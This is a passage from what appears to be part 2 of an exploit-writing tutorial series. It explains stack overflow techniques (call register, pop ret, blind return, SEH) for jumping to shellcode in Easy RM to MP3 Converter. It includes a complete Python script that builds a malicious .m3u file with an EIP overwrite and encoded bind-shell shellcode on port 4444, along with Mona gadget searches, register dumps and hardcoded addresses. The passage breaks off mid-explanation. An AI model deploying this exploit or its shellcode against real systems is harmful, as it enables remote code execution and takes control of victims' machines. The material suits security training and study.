Note : This tutorial heavily builds on part 1 of the tutorial series, so please take the time to fully read and understand part 1 before reading part 2.The fact that we could use "jmp esp" was an almost perfect scenario. It’s not that 'easy' every time. Today I’ll talk about some other ways to execute/jump to shellcode, and finally about what your options are if you are faced with small buffer sizes.
There are multiple methods of forcing the execution of shellcode.
jump / call
a register that points to the shellcode. With this technique, you basiclly use a register that contains the address where the shellcode resides and put that address in EIP. You try to find the opcode of a "jump" or "call" to that register in one of the dll’s that is loaded when the application runs. When crafting your payload, instead of overwriting EIP with an address in memory, you need to overwrite EIP with the address of the "jump to the register". Of course, this only works if one of the available registers contains an address that points to the shellcode. This is how we managed to get our exploit to work in part 1, so I’m not going to discuss this technique in this post anymore.
pop return
if none of the registers point directly to the shellcode, but you can see an address on the stack) that points to the shellcode, then you can load that value into EIP by first putting a pointer to pop ret, or pop pop ret, or pop pop pop ret (all depending on the location of where the address is found on the stack) into EIP.
jmp [reg + offset]
If there is a register that points to the buffer containing the shellcode, but it does not point at the beginning of the shellcode, you can also try to find an instruction in one of the OS or application dll's, which will add the required bytes to the register and then jumps to the register. I’ll refer to this method as jmp [reg]+[offset]
blind return
in my previous post I have explained that ESP points to the current stack position (by definition). A RET instruction will ‘pop’ the last value (4bytes) from the stack and will put that address in ESP. So if you overwrite EIP with the address that will perform a RET instruction, you will load the value stored at ESP into EIP.
If you are faced with the fact that the available space in the buffer (after the EIP overwrite) is limited, but you have plenty of space before overwriting EIP, then you could use jump code in the smaller buffer to jump to the main shellcode in the first part of the buffer.
SEH
Every application has a default exception handler which is provided for by the OS. So even if the application itself does not use exception handling, you can try to overwrite the SEH handler with your own address and make it jump to your shellcode. Using SEH can make an exploit more reliable on various windows platforms, but it requires some more explanation before you can start abusing the SEH to write exploits. The idea behind this is that if you build an exploit that does not work on a given OS, then the payload might just crash the application (and trigger an exception). So if you can combine a “regular” exploit with a seh based exploit, then you have build a more reliable exploit. Anyways, the next part of the exploit writing tutorial series (part 3) will deal with SEH. Just remember that a typical stack based overflow, where you overwrite EIP, could potentionally be subject to a SEH based exploit technique as well, giving you more stability, a larger buffer size (and overwriting EIP would trigger SEH… so it’s a win win)
The techniques explained in this document are just example. The goal of this post is to explain to you that there may be various ways to jump to the shellcode, and in other cases there may be only one (and may require a combination of techniques) to get your arbitrary code to run.
Of course, it's perfectly possible that a vulnerability only leads to a crash, and can never be exploited.
Let's have a look at the practical implementation of some of the techniques listed above.
call [register]
If a register is loaded with an address that directly points at the shellcode, then you can do a call [register] to jump directly to the shellcode. In other words, if ESP directly points at the shellcode (so the first byte of ESP is the first byte of your shellcode), then you can overwrite EIP with the address of "CALL ESP", and the shellcode will be executed. This works with all registers and is quite popular because kernel32.dll contains a lot of call [register] address.Quick example: assuming that ESP points to the shellcode : First, look for an address that contains the "CALL ESP" opcode, We'll use findjmp or ImmunityDebugger or Metasploit.
[nixawk@core metasploit-framework]$ msfpescan -h
Usage: msfpescan [mode] <options> [targets]
Modes:
-j, --jump [regA,regB,regC] Search for jump equivalent instructions
-p, --poppopret Search for pop+pop+ret combinations
-r, --regex [regex] Search for regex match
-a, --analyze-address [address] Display the code at the specified address
-b, --analyze-offset [offset] Display the code at the specified offset
-f, --fingerprint Attempt to identify the packer/compiler
-i, --info Display detailed information about the image
-R, --ripper [directory] Rip all module resources to disk
--context-map [directory] Generate context-map files
Options:
-M, --memdump The targets are memdump.exe directories
-A, --after [bytes] Number of bytes to show after match (-a/-b)
-B, --before [bytes] Number of bytes to show before match (-a/-b)
-D, --disasm Disassemble the bytes at this address
-I, --image-base [address] Specify an alternate ImageBase
-F, --filter-addresses [regex] Filter addresses based on a regular expression
-h, --help Show this message
or !mona find -type instr -s "CALL ESP"
We can get some "CALL ESP" opcode address from Immunity Debugger, ex,7C8369F0 CALL ESP C:\WINDOWS\system32\kernel32.dll
7C868667 CALL ESP C:\WINDOWS\system32\kernel32.dll
Next, write the exploit and overwrite EIP with 0x7C8369F0.#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct
# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074
# eip = struct.pack("L", 0x01AAF23A)
eip = struct.pack("L", 0x7C8369F0)
pad = "\x43" * 4
nop = "\x90" * 32
# windows/shell_bind_tcp ---- 4444
shellcode = "\xba\x78\xfe\x28\x18\xd9\xcc\xd9\x74\x24\xf4\x5f\x31\xc9\xb1" \
"\x53\x31\x57\x12\x03\x57\x12\x83\x97\x02\xca\xed\x9b\x13\x89" \
"\x0e\x63\xe4\xee\x87\x86\xd5\x2e\xf3\xc3\x46\x9f\x77\x81\x6a" \
"\x54\xd5\x31\xf8\x18\xf2\x36\x49\x96\x24\x79\x4a\x8b\x15\x18" \
"\xc8\xd6\x49\xfa\xf1\x18\x9c\xfb\x36\x44\x6d\xa9\xef\x02\xc0" \
"\x5d\x9b\x5f\xd9\xd6\xd7\x4e\x59\x0b\xaf\x71\x48\x9a\xbb\x2b" \
"\x4a\x1d\x6f\x40\xc3\x05\x6c\x6d\x9d\xbe\x46\x19\x1c\x16\x97" \
"\xe2\xb3\x57\x17\x11\xcd\x90\x90\xca\xb8\xe8\xe2\x77\xbb\x2f" \
"\x98\xa3\x4e\xab\x3a\x27\xe8\x17\xba\xe4\x6f\xdc\xb0\x41\xfb" \
"\xba\xd4\x54\x28\xb1\xe1\xdd\xcf\x15\x60\xa5\xeb\xb1\x28\x7d" \
"\x95\xe0\x94\xd0\xaa\xf2\x76\x8c\x0e\x79\x9a\xd9\x22\x20\xf3" \
"\x2e\x0f\xda\x03\x39\x18\xa9\x31\xe6\xb2\x25\x7a\x6f\x1d\xb2" \
"\x7d\x5a\xd9\x2c\x80\x65\x1a\x65\x47\x31\x4a\x1d\x6e\x3a\x01" \
"\xdd\x8f\xef\xbc\xd5\x36\x40\xa3\x18\x88\x30\x63\xb2\x61\x5b" \
"\x6c\xed\x92\x64\xa6\x86\x3b\x99\x49\xb9\xe7\x14\xaf\xd3\x07" \
"\x71\x67\x4b\xea\xa6\xb0\xec\x15\x8d\xe8\x9a\x5e\xc7\x2f\xa5" \
"\x5e\xcd\x07\x31\xd5\x02\x9c\x20\xea\x0e\xb4\x35\x7d\xc4\x55" \
"\x74\x1f\xd9\x7f\xee\xbc\x48\xe4\xee\xcb\x70\xb3\xb9\x9c\x47" \
"\xca\x2f\x31\xf1\x64\x4d\xc8\x67\x4e\xd5\x17\x54\x51\xd4\xda" \
"\xe0\x75\xc6\x22\xe8\x31\xb2\xfa\xbf\xef\x6c\xbd\x69\x5e\xc6" \
"\x17\xc5\x08\x8e\xee\x25\x8b\xc8\xee\x63\x7d\x34\x5e\xda\x38" \
"\x4b\x6f\x8a\xcc\x34\x8d\x2a\x32\xef\x15\x5a\x79\xad\x3c\xf3" \
"\x24\x24\x7d\x9e\xd6\x93\x42\xa7\x54\x11\x3b\x5c\x44\x50\x3e" \
"\x18\xc2\x89\x32\x31\xa7\xad\xe1\x32\xe2"
with open(media_file, 'w') as f:
f.write(junk)
f.write(eip)
f.write(pad)
f.write(nop)
f.write(shellcode)
print "m3u file created successfully !"
Bingo ! The Application (Easy RM to MP3 Converter v2.7.3.700) is pwned !.pop ret
As explained above, In the Easy RM to MP3 example, we have been able to tweak our buffer so ESP pointed directly at our shellcode. What if these is not a single register that points to the shellcode.Well, in this case, an address pointing to the shellcode may be on the stack. If you dump esp, look at the first address. If one of these address points your shellcode (or a buffer you control), then you can find a pop ret or pop pop ret (nothing to do with SEH based exploits here) to
- take address from the stack (and skip them)
- jump to the address which should bring you to the shellcode
The pop ret technique obviously is only usabled when ESP+offset already contains which points to the shellcode. So dump esp, see if one of the first addresses points to the shellcode, and put a reference to pop ret (or pop pop ret or pop pop pop ret) into EIP. This will take some address from the stack (one address for each pop) and will then put the next address into EIP. If that one points to the shellcode, then you win.
There is a second use for pop ret : what if you control EIP, no register points to the shellcode, but your shellcode can be found at ESP+8. In that case, you can put a pop pop ret into EIP, which will jump to ESP+8. If you put a pointer to jmp esp at that location, then it will jump to the shellcode that sits right after the jmp esp pointer.
Let's build a test case. We know that we need 26074 bytes overwriting EIP, and that we need 4 more bytes before we are at the stack address where ESP points at (in my case, this is 0x000FF730).
We will simulate that at ESP+8, we have an address that points to the shellcode. (In fact, we'll just put the shellcode behind it - again, this is just a test case).
26074 A's and 4 XXXX's (to end up where ESP points at), then a break, 7 NOP's, a break, and more NOP's. Let's pretend the shellcode begins at the second break. The goal is to make a jump over the first break, right to the second break (which is at ESP+8 bytes = 0x000FF738).
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074 # A
eip = '\x42' * 4 # B
pre = '\x58' * 4 # X
shellcode = "\xcc"
shellcode = shellcode + '\x90' * 7
shellcode = shellcode + '\xcc'
shellcode = shellcode + '\x90' * 500
with open(media_file, 'w') as f:
f.write(junk)
f.write(eip)
f.write(pre)
f.write(shellcode)
print "m3u file created successfully !"
Load crash.m3u, and stack Information as follow:---------- Registers Information -----------
EAX 00000001
ECX 7C91003D ntdll.7C91003D
EDX 003C0000
EBX 00104A58
ESP 000FF730
EBP 00334428 ASCII "C:\Documents and Settings\lab\Desktop\crash.m3u"
ESI 77C5FCE0 msvcrt.77C5FCE0
EDI 000067DF
EIP 42424242
---------- Stack Information -----------
000FF718 41414141 AAAA
000FF71C 41414141 AAAA
000FF720 41414141 AAAA
000FF724 41414141 AAAA
000FF728 42424242 BBBB <---- EIP
000FF72C 58585858 XXXX
000FF730 909090CC ̐▒▒ <---- ESP (the first break)
000FF734 90909090 ▒▒▒▒
000FF738 909090CC ̐▒▒ <---- the second break (shellcode)
000FF73C 90909090 ▒▒▒▒
000FF740 90909090 ▒▒▒▒
000FF744 90909090 ▒▒▒▒
000FF748 90909090 ▒▒▒▒
We've overwritten EIP with "BBBB". ESP points at 0x000FF730 which starts with the first break, then 7 NOP's, and then we see the second break, which really is the begin of our shellcode (and sits at address 0x000FF738).The goal is to get the value of ESP+8 into EIP (and to craft this value so it jumps to the shellcode). We'll use the pop ret technique + address of jmp esp to accomplish this.
One POP instruction will take 4 bytes off the top of the stack. So the stack pointer would then point at 0x000FF734. Running another POP instruction would take 4 more bytes off the top of the stack. ESP would then point to 0x000FF738. When we a "ret" instruction is performed, the value at the current address of ESP is put in EIP. So if the value at 0x000FF738 contains the address of a jmp esp instruction, then that is what EIP would do. The buffer after after 0x000FF738 must then contains our shellcode.
First of all, we need to know the opcode for pop pop ret. We'll use the assemble functionality to get the opcodes.
0BADF00D [+] Command used:
0BADF00D !mona find -type instr -s "POP EAX#POP EBP#RET"
---------- Mona command started on 2015-02-28 22:12:21 (v2.0, rev 554) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D - Pointer access level : *
0BADF00D - Treating search pattern as instr
0BADF00D [+] Searching from 0x00000000 to 0x7fffffff
76FC0000 Modules C:\WINDOWS\system32\rasadhlp.dll
0BADF00D [+] Preparing output file 'find.txt'
0BADF00D - (Re)setting logfile C:\logs\RM2MP3Converter\find.txt
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D [+] Writing results to C:\logs\RM2MP3Converter\find.txt
0BADF00D - Number of pointers of type '"POP EAX#POP EBP#RET"' : 27
0BADF00D [+] Results :
7C87F30E 0x7c87f30e : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)
01886A10 0x01886a10 (b+0x00026a10) : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE} [MSRMCcodec00.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll)
01888DA3 0x01888da3 (b+0x00028da3) : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE} [MSRMCcodec00.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll)
01889D69 0x01889d69 (b+0x00029d69) : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE} [MSRMCcodec00.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll)
1002B6CA 0x1002b6ca : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [MSRMfilter03.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll)
1002DAE7 0x1002dae7 : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [MSRMfilter03.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll)
1002DBEF 0x1002dbef : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [MSRMfilter03.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll)
1002E796 0x1002e796 : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [MSRMfilter03.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll)
77FC7101 0x77fc7101 : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHLWAPI.dll)
7C970D32 0x7c970d32 : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)
7C970F95 0x7c970f95 : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)
7C9721FC 0x7c9721fc : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)
00AE5558 0x00ae5558 (b+0x00035558) : "POP EAX#POP EBP#RET" | startnull {PAGE_EXECUTE} [MSRMfilter01.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll)
00AE5E8C 0x00ae5e8c (b+0x00035e8c) : "POP EAX#POP EBP#RET" | startnull {PAGE_EXECUTE} [MSRMfilter01.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll)
77C1E843 0x77c1e843 : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\msvcrt.dll)
77C4EBC9 0x77c4ebc9 : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\msvcrt.dll)
77C4EE8B 0x77c4ee8b : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\msvcrt.dll)
77C53123 0x77c53123 : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\msvcrt.dll)
77C534E3 0x77c534e3 : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\msvcrt.dll)
77C53BC2 0x77c53bc2 : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\msvcrt.dll)
0BADF00D ... Please wait while I'm processing all remaining results and writing everything to file...
0BADF00D [+] Done. Only the first 20 pointers are shown here. For more pointers, open C:\logs\RM2MP3Converter\find.txt...
0BADF00D Found a total of 27 pointers
0BADF00D
0x7c970d32 is a choice.7C970D32 58 POP EAX
7C970D33 5D POP EBP
7C970D34 C3 RETN
Of course, you can pop to other register as well. These are some other available pop opcodes.pop register opcode
pop eax 58
pop ebx 5b
pop ecx 59
pop edx 5a
pop esi 5e
pop ebp 5d
Now we need to find sequence in one of the available dll's. In part 1 of the tutorial we have spoken about application dll’s versus OS dll’s. I guess it’s recommended to use application dll’s because that would increase the chances on building a reliable exploit across windows platforms/versions. But you still need to make sure the dll’s use the same base addresses every time. Sometimes, the dll’s get rebased and in that scenario it could be better to use one of the os dll’s (user32.dll or kernel32.dll for example).Debug Easy RM to MP3 for the loaded modules.
0BADF00D [+] This mona.py action took 0:00:00
0BADF00D [+] Command used:
0BADF00D !mona modules
---------- Mona command started on 2015-02-28 22:22:54 (v2.0, rev 554) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D - Pointer access level : X
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D Module info :
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D 0x76080000 | 0x760e5000 | 0x00065000 | False | True | False | False | True | 6.02.3104.0 [MSVCP60.dll] (C:\WINDOWS\system32\MSVCP60.dll)
0BADF00D 0x02020000 | 0x02030000 | 0x00010000 | True | False | False | False | False | -1.0- [MSRMfilter02.dll] (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll)
0BADF00D 0x5b860000 | 0x5b8b5000 | 0x00055000 | False | True | False | False | True | 5.1.2600.5512 [NETAPI32.dll] (C:\WINDOWS\system32\NETAPI32.dll)
0BADF00D 0x7e1e0000 | 0x7e282000 | 0x000a2000 | False | True | False | False | True | 6.00.2900.5512 [urlmon.dll] (C:\WINDOWS\system32\urlmon.dll)
0BADF00D 0x00400000 | 0x004be000 | 0x000be000 | False | False | False | False | False | 2.7.3.700 [RM2MP3Converter.exe] (C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe)
0BADF00D 0x77a80000 | 0x77b15000 | 0x00095000 | False | True | False | False | True | 5.131.2600.5512 [CRYPT32.dll] (C:\WINDOWS\system32\CRYPT32.dll)
0BADF00D 0x76f20000 | 0x76f47000 | 0x00027000 | False | True | False | False | True | 5.1.2600.5512 [DNSAPI.dll] (C:\WINDOWS\system32\DNSAPI.dll)
0BADF00D 0x77c70000 | 0x77c94000 | 0x00024000 | False | True | False | False | True | 5.1.2600.5512 [msv1_0.dll] (C:\WINDOWS\system32\msv1_0.dll)
0BADF00D 0x77c10000 | 0x77c68000 | 0x00058000 | False | True | False | False | True | 7.0.2600.5512 [msvcrt.dll] (C:\WINDOWS\system32\msvcrt.dll)
0BADF00D 0x7c900000 | 0x7c9af000 | 0x000af000 | False | True | False | False | True | 5.1.2600.5512 [ntdll.dll] (C:\WINDOWS\system32\ntdll.dll)
0BADF00D 0x01860000 | 0x018d1000 | 0x00071000 | True | False | False | False | False | -1.0- [MSRMCcodec00.dll] (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll)
0BADF00D 0x018f0000 | 0x01dbd000 | 0x004cd000 | True | False | False | False | False | -1.0- [MSRMCcodec02.dll] (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll)
0BADF00D 0x01dc0000 | 0x01dd1000 | 0x00011000 | True | True | False | False | True | 7.0.2600.5512 [MSVCIRT.dll] (C:\WINDOWS\system32\MSVCIRT.dll)
0BADF00D 0x00ab0000 | 0x00b4f000 | 0x0009f000 | True | False | False | False | False | -1.0- [MSRMfilter01.dll] (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll)
0BADF00D 0x02240000 | 0x02252000 | 0x00012000 | True | False | False | False | False | -1.0- [MSLog.dll] (C:\Program Files\Easy RM to MP3 Converter\MSLog.dll)
0BADF00D 0x76fc0000 | 0x76fc6000 | 0x00006000 | False | True | False | False | True | 5.1.2600.5512 [rasadhlp.dll] (C:\WINDOWS\system32\rasadhlp.dll)
0BADF00D 0x10000000 | 0x10071000 | 0x00071000 | False | False | False | False | False | -1.0- [MSRMfilter03.dll] (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll)
0BADF00D 0x76ee0000 | 0x76f1c000 | 0x0003c000 | False | True | False | False | True | 5.1.2600.5512 [RASAPI32.DLL] (C:\WINDOWS\system32\RASAPI32.DLL)
0BADF00D 0x77fe0000 | 0x77ff1000 | 0x00011000 | False | True | False | False | True | 5.1.2600.5512 [Secur32.dll] (C:\WINDOWS\system32\Secur32.dll)
0BADF00D 0x71aa0000 | 0x71aa8000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [WS2HELP.dll] (C:\WINDOWS\system32\WS2HELP.dll)
0BADF00D 0x73dd0000 | 0x73ece000 | 0x000fe000 | False | True | False | False | True | 6.02.4131.0 [MFC42.DLL] (C:\WINDOWS\system32\MFC42.DLL)
0BADF00D 0x774e0000 | 0x7761d000 | 0x0013d000 | False | True | False | False | True | 5.1.2600.5512 [ole32.dll] (C:\WINDOWS\system32\ole32.dll)
0BADF00D 0x77f60000 | 0x77fd6000 | 0x00076000 | False | True | False | False | True | 6.00.2900.5512 [SHLWAPI.dll] (C:\WINDOWS\system32\SHLWAPI.dll)
0BADF00D 0x7e410000 | 0x7e4a1000 | 0x00091000 | False | True | False | False | True | 5.1.2600.5512 [USER32.dll] (C:\WINDOWS\system32\USER32.dll)
0BADF00D 0x763b0000 | 0x763f9000 | 0x00049000 | False | True | False | False | True | 6.00.2900.5512 [comdlg32.dll] (C:\WINDOWS\system32\comdlg32.dll)
0BADF00D 0x71ad0000 | 0x71ad9000 | 0x00009000 | False | True | False | False | True | 5.1.2600.5512 [wsock32.dll] (C:\WINDOWS\system32\wsock32.dll)
0BADF00D 0x76e80000 | 0x76e8e000 | 0x0000e000 | False | True | False | False | True | 5.1.2600.5512 [rtutils.dll] (C:\WINDOWS\system32\rtutils.dll)
0BADF00D 0x01fe0000 | 0x01ffe000 | 0x0001e000 | True | False | False | False | True | 1.0.1.8 [wmatimer.dll] (C:\WINDOWS\system32\wmatimer.dll)
0BADF00D 0x5ad70000 | 0x5ada8000 | 0x00038000 | False | True | False | False | True | 6.00.2900.5512 [uxtheme.dll] (C:\WINDOWS\system32\uxtheme.dll)
0BADF00D 0x77120000 | 0x771ab000 | 0x0008b000 | False | True | False | False | True | 5.1.2600.5512 [OLEAUT32.dll] (C:\WINDOWS\system32\OLEAUT32.dll)
0BADF00D 0x722b0000 | 0x722b5000 | 0x00005000 | False | True | False | False | True | 5.1.2600.5512 [sensapi.dll] (C:\WINDOWS\system32\sensapi.dll)
0BADF00D 0x7c9c0000 | 0x7d1d7000 | 0x00817000 | False | True | False | False | True | 6.00.2900.5512 [SHELL32.dll] (C:\WINDOWS\system32\SHELL32.dll)
0BADF00D 0x77e70000 | 0x77f02000 | 0x00092000 | False | True | False | False | True | 5.1.2600.5512 [RPCRT4.dll] (C:\WINDOWS\system32\RPCRT4.dll)
0BADF00D 0x77b20000 | 0x77b32000 | 0x00012000 | False | True | False | False | True | 5.1.2600.5512 [MSASN1.dll] (C:\WINDOWS\system32\MSASN1.dll)
0BADF00D 0x773d0000 | 0x774d3000 | 0x00103000 | False | True | False | False | True | 6.0 [comctl32.dll] (C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll)
0BADF00D 0x769c0000 | 0x76a74000 | 0x000b4000 | False | True | False | False | True | 5.1.2600.5512 [USERENV.dll] (C:\WINDOWS\system32\USERENV.dll)
0BADF00D 0x76e90000 | 0x76ea2000 | 0x00012000 | False | True | False | False | True | 5.1.2600.5512 [rasman.dll] (C:\WINDOWS\system32\rasman.dll)
0BADF00D 0x771b0000 | 0x7725a000 | 0x000aa000 | False | True | False | False | True | 6.00.2900.5512 [WININET.dll] (C:\WINDOWS\system32\WININET.dll)
0BADF00D 0x5d090000 | 0x5d12a000 | 0x0009a000 | False | True | False | False | True | 5.82 [COMCTL32.dll] (C:\WINDOWS\system32\COMCTL32.dll)
0BADF00D 0x76d60000 | 0x76d79000 | 0x00019000 | False | True | False | False | True | 5.1.2600.5512 [iphlpapi.dll] (C:\WINDOWS\system32\iphlpapi.dll)
0BADF00D 0x71a50000 | 0x71a8f000 | 0x0003f000 | False | True | False | False | True | 5.1.2600.5512 [mswsock.dll] (C:\WINDOWS\System32\mswsock.dll)
0BADF00D 0x76b40000 | 0x76b6d000 | 0x0002d000 | False | True | False | False | True | 5.1.2600.5512 [WINMM.dll] (C:\WINDOWS\system32\WINMM.dll)
0BADF00D 0x7c800000 | 0x7c8f6000 | 0x000f6000 | False | True | False | False | True | 5.1.2600.5512 [kernel32.dll] (C:\WINDOWS\system32\kernel32.dll)
0BADF00D 0x77f10000 | 0x77f59000 | 0x00049000 | False | True | False | False | True | 5.1.2600.5512 [GDI32.dll] (C:\WINDOWS\system32\GDI32.dll)
0BADF00D 0x018e0000 | 0x018e7000 | 0x00007000 | True | False | False | False | False | -1.0- [MSRMCcodec01.dll] (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll)
0BADF00D 0x73000000 | 0x73026000 | 0x00026000 | False | True | False | False | True | 5.1.2600.5512 [WINSPOOL.DRV] (C:\WINDOWS\system32\WINSPOOL.DRV)
0BADF00D 0x77c00000 | 0x77c08000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [VERSION.dll] (C:\WINDOWS\system32\VERSION.dll)
0BADF00D 0x77dd0000 | 0x77e6b000 | 0x0009b000 | False | True | False | False | True | 5.1.2600.5512 [ADVAPI32.dll] (C:\WINDOWS\system32\ADVAPI32.dll)
0BADF00D 0x71ab0000 | 0x71ac7000 | 0x00017000 | False | True | False | False | True | 5.1.2600.5512 [WS2_32.dll] (C:\WINDOWS\system32\WS2_32.dll)
0BADF00D 0x76eb0000 | 0x76edf000 | 0x0002f000 | False | True | False | False | True | 5.1.2600.5512 [TAPI32.dll] (C:\WINDOWS\system32\TAPI32.dll)
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------
0BADF00D
you can show the image base of a dll by running dumpbin.exe (from Visual Studio) with parameter /headers against the dll. This will allow you to define the lower and upper address for searches.You should try to avoid using address that contain null bytes (because it would make the exploit harder... not impossible, just harder.)
A search in MSRMCcodec00.dll gives us some results :
0BADF00D [+] Command used:
0BADF00D !mona find -s "POP EAX#POP EBP#RET" -type instr -b 0x01860000 -t 0x018d1000
---------- Mona command started on 2015-02-28 22:29:31 (v2.0, rev 554) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D - Pointer access level : *
0BADF00D - Treating search pattern as instr
0BADF00D [+] Searching from 0x01860000 to 0x018d1000
0BADF00D [+] Preparing output file 'find.txt'
0BADF00D - (Re)setting logfile C:\logs\RM2MP3Converter\find.txt
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D [+] Writing results to C:\logs\RM2MP3Converter\find.txt
0BADF00D - Number of pointers of type '"POP EAX#POP EBP#RET"' : 3
0BADF00D [+] Results :
01886A10 0x01886a10 (b+0x00026a10) : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE} [MSRMCcodec00.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll)
01888DA3 0x01888da3 (b+0x00028da3) : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE} [MSRMCcodec00.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll)
01889D69 0x01889d69 (b+0x00029d69) : "POP EAX#POP EBP#RET" | {PAGE_EXECUTE} [MSRMCcodec00.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll)
0BADF00D Found a total of 3 pointers
0BADF00D
Ok, we can jump to ESP+8 now. In that we need to put the address to jmp esp (because, as explained before, the ret instruction will take the address from that location and put it in EIP. At that point, the ESP address will point to our shellcode which is located right after the jmp esp address... so what we really want at that point is a jmp esp).From part 1 of the tutorial, we have learned that 0x01AAF23A refers to jmp esp.
Ok, let’s go back to our python script and replace the "BBBB" (used to overwrite EIP with) with one of the 3 pop,pop,ret addresses, followed by 8 bytes (NOP) (to simulate that the shellcode is 8 bytes off from the top of the stack), then the jmp esp address, and then the shellcode.
The buffer will look like this :
[AAAAAAAAAAA...AA][0x01886a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01AAF23A][Shellcode]
26074 A's EIP 8 bytes offset JMP ESP
(=POPPOPRET)
The entire exploit flow will look like this :
